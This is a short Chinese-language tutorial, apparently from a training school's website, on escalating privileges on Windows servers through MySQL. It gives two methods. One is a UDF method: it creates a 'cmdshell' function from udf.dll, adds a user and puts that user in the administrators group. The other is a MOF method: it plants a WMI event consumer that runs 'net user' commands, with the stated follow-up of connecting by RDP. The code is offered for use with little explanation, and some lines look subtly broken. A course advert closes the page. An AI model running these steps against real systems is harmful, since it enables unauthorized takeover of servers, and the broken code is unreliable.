Mysql_UDF 提權(quán)

　　要求：

　　1.目標(biāo)系統(tǒng)是 Windows(Win2000,XP,Win2003);

　　2.擁有 MYSQL 的某個(gè)用戶賬號(hào)，此賬號(hào)必須有對(duì) mysql 的 insert 和 delete 權(quán)限以創(chuàng)建和拋棄函數(shù)

　　 3.有 root 賬號(hào)密碼 導(dǎo)出 udf: MYSQL 5.1 以上版本，必須要把 udf.dll 文件放到 MYSQL 安裝目錄下的 lib\plugin 文件夾下才能創(chuàng)建自定義函數(shù)可以再 mysql 里輸入select @@basedirshow variables like ‘%plugins%’尋找 mysql 安裝路徑。

　　提權(quán)：使用 SQL 語(yǔ)句創(chuàng)建功能函數(shù)。

　　語(yǔ)法：Create Function 函數(shù)名(函數(shù)名只能為下面列表中的其中之一)

　　returns string soname ‘導(dǎo)出的 DLL 路徑’；　　

create function cmdshell returns string

soname ‘udf.dll’select cmdshell(‘net user arsch arsch

/add’);select

cmdshell(‘net localgroup

administrators arsch /add’);

drop function

　　cmdshell;該目錄默認(rèn)是不存在的，這就需要我們使用 webshell 找到 MYSQL 的安裝目錄，并在安裝目錄下創(chuàng)建lib\plugin 文件夾，然后將 udf.dll 文件導(dǎo)出到該目錄即可。

　　Mysql mof 提權(quán)　　

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter{EventNamespace = "Root\\Cimv2";Name =

"filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa

\"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};

instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine =

"JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user

waitalone waitalone.cn /add\")";};

instance of __FilterToConsumerBinding{Consumer

= $Consumer;Filter = $EventFilter;};

　　其中的第 18 行的命令，上傳前請(qǐng)自己更改。

　　執(zhí)行 load_file 及 into dumpfile 把文件導(dǎo)出到正確的位置即可。　　

select load file('c:/wmpub/nullevt.mof') into dumpfile

'c:/windows/system32/wbem/mof/nullevt.mov'

　　執(zhí)行成功后，即可添加一個(gè)普通用戶，然后你可以更改命令，再上傳導(dǎo)出執(zhí)行把用戶提升到管理員權(quán)限，然后 3389 連接之就 ok 了。

　　更多關(guān)于“網(wǎng)絡(luò)安全培訓(xùn)”的問(wèn)題，歡迎咨詢千鋒教育在線名師。千鋒教育多年辦學(xué)，課程大綱緊跟企業(yè)需求，更科學(xué)更嚴(yán)謹(jǐn)，每年培養(yǎng)泛IT人才近2萬(wàn)人。不論你是零基礎(chǔ)還是想提升，都可以找到適合的班型，千鋒教育隨時(shí)歡迎你來(lái)試聽(tīng)。